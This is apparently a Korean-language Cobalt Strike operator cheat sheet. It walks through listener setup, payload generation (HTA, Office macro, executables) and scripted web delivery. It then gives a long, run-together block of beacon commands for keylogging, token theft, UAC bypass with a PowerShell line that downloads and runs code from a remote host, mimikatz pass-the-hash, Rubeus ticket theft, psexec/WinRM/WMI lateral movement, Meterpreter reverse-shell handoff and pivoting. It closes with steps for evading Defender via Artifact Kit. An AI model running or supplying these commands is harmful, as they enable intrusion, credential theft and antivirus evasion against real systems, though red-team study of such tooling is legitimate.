Cobalt Strike -> Listeners -> Add/Edit 그러면 수신 대기할 위치와 사용할 비콘 종류(http, dns, smb...) 등을 선택할 수 있습니다.
Peer2Peer Listeners
이 리스너의 비콘은 C2와 직접 통신할 필요가 없으며, 다른 비콘을 통해 통신할 수 있습니다.
Cobalt Strike -> Listeners -> Add/Edit 그러면 TCP 또는 SMB 비콘을 선택해야 합니다.
TCP 비콘은 선택한 포트에서 리스너를 설정합니다. TCP 비콘에 연결하려면 다른 비콘에서 connect <ip> <port> 명령을 사용합니다.
smb 비콘은 선택한 이름의 파이프 이름에서 리스닝합니다. SMB 비콘에 연결하려면 link [target] [pipe] 명령을 사용해야 합니다.
Generate & Host payloads
Generate payloads in files
Attacks -> Packages ->
HTMLApplication HTA 파일용
MS Office Macro 매크로가 포함된 오피스 문서용
Windows Executable .exe, .dll 또는 서비스 .exe용
Windows Executable (S)스테이지리스 .exe, .dll 또는 서비스 .exe용 (스테이지리스가 스테이지보다 좋음, IoCs가 적음)
Generate & Host payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S) 이 명령은 cobalt strike에서 비콘을 다운로드하기 위한 스크립트/실행 파일을 생성합니다. 형식은 bitsadmin, exe, powershell 및 python입니다.
Host Payloads
호스팅할 파일이 이미 웹 서버에 있다면 Attacks -> Web Drive-by -> Host File로 가서 호스팅할 파일과 웹 서버 구성을 선택하면 됩니다.
Beacon Options
# 로컬 .NET 바이너리 실행execute-assembly</path/to/executable.exe># 스크린샷printscreen# PrintScr 방법으로 단일 스크린샷 찍기screenshot# 단일 스크린샷 찍기screenwatch# 데스크탑의 주기적인 스크린샷 찍기## 보기 -> 스크린샷으로 가서 확인# 키로거keylogger [pid] [x86|x64]## 보기 > 키스트로크에서 눌린 키 확인# 포트 스캔portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # 다른 프로세스 내에서 포트 스캔 작업 주입portscan [targets] [ports] [arp|icmp|none] [max connections]# 파워셸# 파워셸 모듈 가져오기powershell-importC:\path\to\PowerView.ps1powershell<여기에powershellcmd입력># 사용자 가장## 자격 증명으로 토큰 생성make_token [DOMAIN\user] [password] # 네트워크에서 사용자를 가장하기 위한 토큰 생성ls \\computer_name\c$ # 생성된 토큰을 사용하여 C$에 접근 시도rev2self# make_token으로 생성된 토큰 사용 중지## make_token 사용 시 이벤트 4624가 생성됩니다: 계정이 성공적으로 로그인되었습니다. 이 이벤트는 Windows 도메인에서 매우 일반적이지만, 로그온 유형으로 필터링하여 좁힐 수 있습니다. 위에서 언급했듯이, 이는 LOGON32_LOGON_NEW_CREDENTIALS를 사용하며, 이는 유형 9입니다.# UAC 우회elevatesvc-exe<listener>elevateuac-token-duplication<listener>runasadminuac-cmstpluapowershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"## pid에서 토큰 훔치기## make_token과 유사하지만 프로세스에서 토큰을 훔침steal_token [pid] # 또한, 이는 네트워크 작업에 유용하며, 로컬 작업에는 유용하지 않음## API 문서에서 이 로그온 유형은 "호출자가 현재 토큰을 복제할 수 있도록 허용합니다."라고 알려져 있습니다. 그래서 비콘 출력에서 Impersonated <current_username>라고 표시됩니다 - 이는 우리의 복제된 토큰을 가장하고 있습니다.ls \\computer_name\c$ # 생성된 토큰을 사용하여 C$에 접근 시도rev2self# steal_token에서 가져온 토큰 사용 중지## 새로운 자격 증명으로 프로세스 시작spawnas [domain\username] [password] [listener] # 읽기 권한이 있는 디렉토리에서 수행: cd C:\## make_token과 유사하게, 이는 Windows 이벤트 4624를 생성합니다: 계정이 성공적으로 로그인되었습니다. 그러나 로그온 유형은 2(LOGON32_LOGON_INTERACTIVE)입니다. 호출 사용자(TargetUserName)와 가장된 사용자(TargetOutboundUserName)가 상세히 설명됩니다.## 프로세스에 주입inject [pid] [x64|x86] [listener]## OpSec 관점에서: 정말 필요하지 않는 한 크로스 플랫폼 주입을 수행하지 마십시오 (예: x86 -> x64 또는 x64 -> x86).## 해시 전달## 이 수정 프로세스는 LSASS 메모리 패칭을 요구하며, 이는 고위험 작업으로 로컬 관리자 권한이 필요하고 Protected Process Light(PPL)가 활성화된 경우에는 실행 가능성이 낮습니다.pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## mimikatz를 통한 해시 전달mimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## /run 없이, mimikatz는 cmd.exe를 생성합니다. 데스크탑으로 실행 중인 사용자라면 셸을 볼 수 있습니다 (SYSTEM으로 실행 중이라면 문제 없습니다).steal_token<pid># mimikatz에 의해 생성된 프로세스에서 토큰 훔치기## 티켓 전달## 티켓 요청execute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>/aes256:<aes_keys>/nowrap/opsec## 새로운 티켓을 사용하기 위해 새로운 로그온 세션 생성 (손상된 세션을 덮어쓰지 않기 위해)make_token<domain>\<username>DummyPass## 공격자 머신에서 파워셸 세션을 통해 티켓을 작성하고 로드합니다.[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## SYSTEM에서 티켓 전달## 티켓으로 새로운 프로세스 생성execute-assemblyC:\path\Rubeus.exeasktgt/user:<USERNAME>/domain:<DOMAIN>/aes256:<AESKEY>/nowrap/opsec/createnetonly:C:\Windows\System32\cmd.exe## 해당 프로세스에서 토큰 훔치기steal_token<pid>## 티켓 추출 + 티켓 전달### 티켓 목록execute-assemblyC:\path\Rubeus.exetriage### LUID로 흥미로운 티켓 덤프execute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### 새로운 로그온 세션 생성, LUID 및 프로세스 ID 기록execute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### 생성된 로그온 세션에 티켓 삽입execute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### 마지막으로, 해당 새로운 프로세스에서 토큰 훔치기steal_token<pid># Lateral Movement## 토큰이 생성되면 사용됩니다jump [method] [target] [listener]## 방법:## psexec x86 서비스로 서비스 EXE 아티팩트 실행## psexec64 x64 서비스로 서비스 EXE 아티팩트 실행## psexec_psh x86 서비스로 PowerShell 원라이너 실행## winrm x86 WinRM을 통해 PowerShell 스크립트 실행## winrm64 x64 WinRM을 통해 PowerShell 스크립트 실행remote-exec [method] [target] [command]## 방법:## psexec 서비스 제어 관리자 통해 원격 실행## winrm WinRM(파워셸)을 통해 원격 실행## wmi WMI를 통해 원격 실행## wmi로 비콘을 실행하려면 (점프 명령에 포함되지 않음) 비콘을 업로드하고 실행하면 됩니다.beacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Metasploit에 세션 전달 - 리스너를 통해## 메타스플로잇 호스트에서msf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## cobalt에서: 리스너 > 추가하고 페이로드를 Foreign HTTP로 설정합니다. 호스트를 10.10.5.120으로, 포트를 8080으로 설정하고 저장을 클릭합니다.beacon> spawnmetasploit## 외부 리스너로 x86 Meterpreter 세션만 생성할 수 있습니다.# Metasploit에 세션 전달 - 쉘코드 주입을 통해## 메타스플로잇 호스트에서msfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## msfvenom을 실행하고 multi/handler 리스너를 준비합니다.## bin 파일을 cobalt strike 호스트로 복사psshinject<pid>x64C:\Payloads\msf.bin# x64 프로세스에 메타스플로잇 쉘코드 주입# 메타스플로잇 세션을 cobalt strike로 전달## 스테이지리스 비콘 쉘코드를 생성합니다. Attacks > Packages > Windows Executable (S)로 가서 원하는 리스너를 선택하고 출력 유형으로 Raw를 선택한 후 x64 페이로드를 선택합니다.## 메타스플로잇에서 post/windows/manage/shellcode_inject를 사용하여 생성된 cobalt strike 쉘코드를 주입합니다.# Pivoting## 팀 서버에서 소켓 프록시 열기beacon> socks1080# SSH 연결beacon> ssh10.10.17.12:22usernamepassword
AV 회피
아티팩트 키트
보통 /opt/cobaltstrike/artifact-kit에서 cobalt strike가 바이너리 비콘을 생성하는 데 사용할 코드와 미리 컴파일된 템플릿(/src-common)을 찾을 수 있습니다.
ThreatCheck를 생성된 백도어(또는 컴파일된 템플릿)와 함께 사용하면 Defender가 트리거되는 원인을 찾을 수 있습니다. 보통 문자열입니다. 따라서 백도어를 생성하는 코드를 수정하여 해당 문자열이 최종 바이너리에 나타나지 않도록 할 수 있습니다.
코드를 수정한 후 동일한 디렉토리에서 ./build.sh를 실행하고 dist-pipe/ 폴더를 Windows 클라이언트의 C:\Tools\cobaltstrike\ArtifactKit로 복사합니다.